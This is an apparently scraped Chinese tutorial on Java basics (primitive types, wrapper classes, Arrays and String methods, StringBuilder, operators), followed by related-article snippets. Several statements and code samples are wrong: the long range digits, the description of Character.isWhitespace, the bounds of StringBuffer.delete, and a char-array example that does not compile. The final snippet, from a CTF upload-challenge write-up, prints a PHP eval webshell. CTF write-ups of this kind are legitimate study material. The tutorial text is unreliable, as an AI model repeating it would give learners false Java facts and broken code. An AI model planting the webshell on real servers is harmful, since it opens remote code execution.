java基本知识详解


八大基本数据类型

java的数据类型可以说很简洁,只有整型,浮点型,字符型,和布尔型四大种,八小种基本类型。

整型

byte
-2^7 ~ 2^7-1,即-128 ~ 127。1字节。

short:-2^15 ~ 2^15-1,即-32768 ~ 32767。2字节。

int

  • int有符号:-2^31 ~ 2^31-1,即-2147483648 ~ 2147483647。4字节。Integer。
  • int无符号:0~2^32-1。

long:-2^63 ~ 2^63-1,即-9223372036854774808 ~ 9223372036854774807。8字节。Long。末尾加L。(也可以不加L)

浮点型

float:4字节

**double:**8字节

字符型

**char:**2字节

布尔型

**boolean:**1字节

基本数据类型包装类

基本数据类型对应包装类

基本数据类型包装类
byteByte
shortShort
intInteger
longLong
floatFloat
doubleDouble
booleanBoolean
charCharacter

Character

Character静态方法(里面包含了对字符的一些处理):

  • Character.isLetter(ch)判断一个字符是否为字母,当为字母时,则返回true,否则返回false
  • Character.isDigit(ch)判断ch单字符是否是数字
  • Character.toLowerCase(ch)将ch单字符转换为小写字母,如果里面有其他字符,原样输出。
  • Character.toUpperCase(ch)将ch单字符转换为大写字母,如果里面有其他字符,原样输出。
  • Character.isWhitespace(ch)判断ch单字符是否为字母

自动装箱和拆箱

类型最大最小值

最小值: Integer.MIN_VALUE = -231= -21 4748 3648
最大值:Integer.MAX_VALUE=231-1=21 4748 3647(21亿左右)

数组

数组定义与使用

定义

int[] array = new int[5];

Array的静态方法

Arrays类常用方法:

  • 1.Arrays.toString():快速输出数组内容
    • Arrays.toString(a)
  • 2.Arrays.sort()方法:数组排序,默认升序排列
    • Arrays.sort(数组名)
    • Arrays.sort(数组名,起始下标,终止下标)
规则:起始下标 <= 数组 < 终止下标例如:Arrays.sort(a,14)
排序:将下标 1, 2, 3 的数字排序注意:1. 数字代表着下标2. 边界左闭右开
  • Arrays.sort(数组名,起始下标,终止下标,排序规则)
源码:public static <T> void sort(T[] a,int fromIndex, int toIndex,  Comparator<? super T> c)Comparator - 排序规则:默认为从小到大,如果想要倒序,需要传入Comparator参数,来改变排序规则例如:将二维数组按照第一个元素倒序排列
int[][] values = new int[n][3];
for (int i = 0; i < n; i++) {values[i][0] = aliceValues[i] + bobValues[i];values[i][1] = aliceValues[i];values[i][2] = bobValues[i];
}
Arrays.sort(values, (a, b) -> b[0] - a[0]);可以看到,实现倒序的方法:1. 使用Lambda表达式,实现Comparator函数式接口2. 使用第二个参数值 - 第一个参数值神奇的:1. 返回的值类型,是第一个参数values一个二维数组2. 而排序规则,是Lambda表达式中的参数来排序
  • 3.Arrays.equals()方法:比较两个数组内容是否相等
    • booleanisSame= Arrays.equals(a,b);
  • 4.Arrays.binarySearch():在数组中查找元素
    • int Arrays.binarySearch( Datatype[], Datatype key)
  • 5.Arrays.copyOf():复制数组,并设置复制的大小
    • arr2 = Arrays.copyOf(arr1, 10)
  • 6.Arrays.fill(arr, -1):对数组进行数值填充(用-1将数组填充)

字符串

字符串常用方法

int length():返回字符串的长度char charAt(int index):返回指定索引处的字符boolean isEmpty():判断字符串是否为空String toLowerCase():将字符串中的所有字符转换为小写String toUpperCase():将字符串中的所有字符转换为大写String trim():返回字符串的副本,去掉前导空白和尾部空白,中间的空白不会被去掉boolean equals(Object obj):比较字符串的内容是否相同boolean equalsIgnoreCase(String anotherString):忽略大小写,比较字符串的内容是否相同String concat(String str):将指定字符串连接到此字符串的结尾,等价于用“+int compareTo(String anotherString):比较两个字符串的大小String substring(int beginIndex):返回从beginIndex到末尾的子字符串String substring(int beginIndex, int endIndex):返回从beginIndex到endIndex前一位的子字符串,不包括endIndexboolean endsWith(String suffix): 判断字符串是否以指定的后缀结束boolean startsWith(String prefix):判断字符串是否以指定的前缀开始boolean startsWith(String prefix, int toffset):判断字符串在指定索引开始的子字符串是否以指定前缀开始boolean contains(CharSequence s):判断当前字符串中是否包含指定的字符串int indexOf(String str):返回指定子字符串在当前字符串中第一次出现处的索引int indexOf(String str, int fromIndex):返回从指定的索引后,指定子字符串在当前字符串中第一次出现处的索引int lastIndexOf(String str):返回指定子字符串在当前字符串中最后一次出现处的索引int lastIndexOf(String str, int fromIndex):返回从指定的索引后,指定子字符串在当前字符串中最后一次出现处的索引
注:indexOf和lastIndexOf方法如果未查找到指定子字符串时,返回值都为-1String replace(char oldChar, char newChar):替换当前字符串中指定的子字符串String[] split(String regex):根据指定的符号拆分当前字符串,然后返回一个String数组

字符串和整数转换

字符串转整数

三种方式:
new Integer(String s)
Integer.parseInt(String s)
Integer.valueOf(String s)

Integer.valueOf()和Integer.parseInt()的不同:
Integer.valueOf()和Integer.valueOf()两个方法的返回值类型不一样
Integer.valueOf()返回一个Integer类型的数据,是int的包装类
Integer.parseInt()返回一个int类型的数据。
如果使用int类型数据接受返回值,两者没有什么不同,但是如果使用Integer类型数据接受返回值,Integer.valueOf()会报警告。

int整数转字符串
  1. Integer.toString(int num)
  2. String.valueOf(i)
字符串与字符

字符串转字符:

s.charAt(i)

字符转字符串:
法1:String构造方法

char[] ch=new char(){'1','2','3'};
string str=new string(ch);

法2:Character

char ch = 'U';
String charToString = Character.toString(ch);

法3:使用String.valueOf()

char ch = 'U';
String valueOfchar = String.valueOf(ch);

法4:和字符串直接拼接

char ch = 'U';
String str = "" + ch;

字符串转字符数组:

char[] arr = s.toCharArray();

字符数组转字符串:

new String(arr)

字符与整数转化
  • 整数x转字符a:char a =(char)(‘a’+x) – 整数转字符串,强转即可
  • 字符a转整数x:int x = a - ‘a’

StringBuilder 和 StringBuffer

String 底层值char[]型常量,修改他,java底层会给他重新创建一个空间来存储修改值
而StringBuilder和StringBuffer,底层是char[]型,是变量,修改值,会在原来的空间直接修改

StringBuffer和StringBuilder中常用的方法:

StringBuffer append(xxx):拼接字符串
StringBuffer delete(int start,int end):删除指定范围的内容,左开右闭
StringBuffer replace(int start, int end, String str):替换指定范围的内容
StringBuffer insert(int offset, xxx):在指定位置插入指定的内容
StringBuffer reverse() :把当前字符序列逆转public int indexOf(String str) : 返回指定子字符串在当前字符串中第一次出现处的索引
public String substring(int start,int end) :返回指定范围的子字符串
public int length() : 返回字符串的长度
public char charAt(int n ) : 获取指定索引处的字符
public void setCharAt(int n ,char ch) : 设置指定索引处的字符setLength(int newLength) :设置长度

面试题:String、StringBuffer和StringBuilder的异同?
相同点:底层都是通过char数组实现的
不同点:
String对象一旦创建,其值是不能修改的,如果要修改,会重新开辟内存空间来存储修改之后的对象;而StringBuffer和StringBuilder对象的值是可以被修改的;
StringBuffer几乎所有的方法都使用synchronized实现了同步,线程比较安全,在多线程系统中可以保证数据同步,但是效率比较低;而StringBuilder 没有实现同步,线程不安全,在多线程系统中不能使用 StringBuilder,但是效率比较高。
如果我们在实际开发过程中需要对字符串进行频繁的修改,不要使用String,否则会造成内存空间的浪费;当需要考虑线程安全的场景下使用 StringBuffer,如果不需要考虑线程安全,追求效率的场景下可以使用 StringBuilder。

运算符todo

Java运算符分为以下几种:

➤算术运算符:+,-,*,/,%,++,–

➤赋值运算符:=

➤扩展后的赋值运算符:+=,-=,*=,/=,%=,&=,|=,^=,<<=,>>=,>>>=

➤位运算符:&,|,~,^,<<,>>,>>>

➤比较运算符:>,>=,<,<=,==

➤逻辑运算符:&&,&,||,|,!,^

➤三目运算符:? :

  • &:按位与。当两位同时为1时才返回1。

  • |:按位或。只要有一位为1就返回1。

  • ~:按位非。单目运算符,将操作数的每一位(包括符号位)全部取反。

  • ^:按位异或。当两位不同时返回1,相同时返回0。

  • <<:左移运算符。

  • :右移运算符

  • :无符号右移运算符

三目运算符

(expression) ? if-true-statement : if-false-statement

三目运算符的语法规则是:先对逻辑表达式expression求值,如果expression返回true,则返回第二个操作数的值,否则返回第三个操作数的值。

示例:

if (aliceSum > bobSum) {return 1;
} else if (aliceSum == bobSum) {return 0;
} else {return -1;
}->return aliceSum > bobSum ? 1 : aliceSum == bobSum ? 0 : -1;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/453021.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redisson看门狗机制

一、背景 网上redis分布式锁的工具方法&#xff0c;大都满足互斥、防止死锁的特性&#xff0c;有些工具方法会满足可重入特性。如果只满足上述3种特性会有哪些隐患呢&#xff1f;redis分布式锁无法自动续期&#xff0c;比如&#xff0c;一个锁设置了1分钟超时释放&#xff0c;…

leetcode 3.无重复字符的最长字串(滑动窗口) (C++)DAY2

文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长子串 的长度。 示例 示例 1: 输入: s “abcabcbb” 输出: 3 解释: 因为无重复字符的最长子串是 “abc”&#xff0c;所以其长度为 3。 示…

专业145+总分420+电子科技大学858信号与系统考研经验电子信息与通信

今年考研各门都相对发挥比较好&#xff0c;总分420&#xff0c;专业858信号与系统145&#xff0c;数学135顺利上岸电子科技大学&#xff0c;应群里很多学弟学妹要求&#xff0c;我总结一下自己的复习经验&#xff0c;希望可以在考研路上&#xff0c;助大家一臂之力。专业课&…

eslint报错文档大量红色报错符号 不自动修正

确保eslint在工作 控制台大量报错信息 确保setting.json 开了保存的时候自动格式化代码 这个时候保存的时候代码可以自动被格式化 但是 文档中和控制台中仍然有大量的报错 信息 此时此刻说明 格式化文档的文件不是按照eslint 格式化的 可以网上找找现成可用的setting.json抄…

如何以管理员身份删除node_modules文件

今天拉项目&#xff0c;然后需要安装依赖&#xff0c;但是一直报错&#xff0c;如下&#xff1a; 去搜这个问题会让把node_modules文件先删掉 再去安装依赖。我在删除的过程中会说请以管理员身份来删除。 那么windows如何以管理员身份删除node_modules文件呢&#xff1f; wi…

【Script】使用pyOpenAnnotate搭建半自动标注工具(附python源码)

文章目录 0. Background1. Method2. Code3. Example: 雄鹿红外图像标注3.1 选择色彩空间3.2 执行阈值3.3 执行形态学操作3.4 轮廓分析以找到边界框3.5 过滤不需要的轮廓3.6 绘制边界框3.7 以需要的格式保存Reference本文将手把手教你用Python和OpenCV搭建一个半自动标注工具(包…

C# OMRON PLC FINS TCP协议简单测试

FINS(factory interface network service)通信协议是欧姆龙公司开发的用于工业自动化控制网络的指令&#xff0f;响应系统。运用 FINS指令可实现各种网络间的无缝通信&#xff0c;包括用于信息网络的 Etherne(以太网)&#xff0c;用于控制网络的Controller Link和SYSMAC LINK。…

SQL Server之DML触发器

一、如何创建一个触发器呢 触发器的定义语言如下&#xff1a; CREATE [ OR ALTER ] TRIGGER trigger_nameon {table_name | view_name}{for | After | Instead of }[ insert, update,delete ]assql_statement从这个定义语言我们可以知道如下信息&#xff1a; trigger_name&…

Kubernetes - 如何利用 K8S 拉取私有仓库镜像

问题描述 最近实战时&#xff0c;发现一个很奇怪的问题&#xff0c;在通过 k8s 创建 pod&#xff0c;拉取镜像时&#xff0c;总是显示如下信息&#xff1a; Error syncing pod, skipping: failed to "StartContainer" for "POD" with ImagePullBackOff: …

大数据 - Spark系列《四》- Spark分布式运行原理

Spark系列文章&#xff1a; 大数据 - Spark系列《一》- 从Hadoop到Spark&#xff1a;大数据计算引擎的演进-CSDN博客 大数据 - Spark系列《二》- 关于Spark在Idea中的一些常用配置-CSDN博客 大数据 - Spark系列《三》- 加载各种数据源创建RDD-CSDN博客 目录 &#x1f360;…

Java项目管理01-Maven基础

一、Maven的常用命令和生命周期 1.Maven的常用命令使用方式 complie&#xff1a;编译&#xff0c;将java文件编译为class字节码文件 clean&#xff1a;清理&#xff0c;删除字节码文件 test&#xff1a;测试&#xff0c;运行项目中的test类 package&#xff1a;打包&#x…

[SWPUCTF 2021 新生赛]easyupload1.0

发现是上传文件第一想到是文件木马 <?php eval ($_POST[123]);?>木马上传burp修改后缀发现flag里面这个是假的 我们猜想是在phpinfo我们上传<?php eval(phpinfo(););?>木马上传burp修改后缀里面 CtrlF 发现flag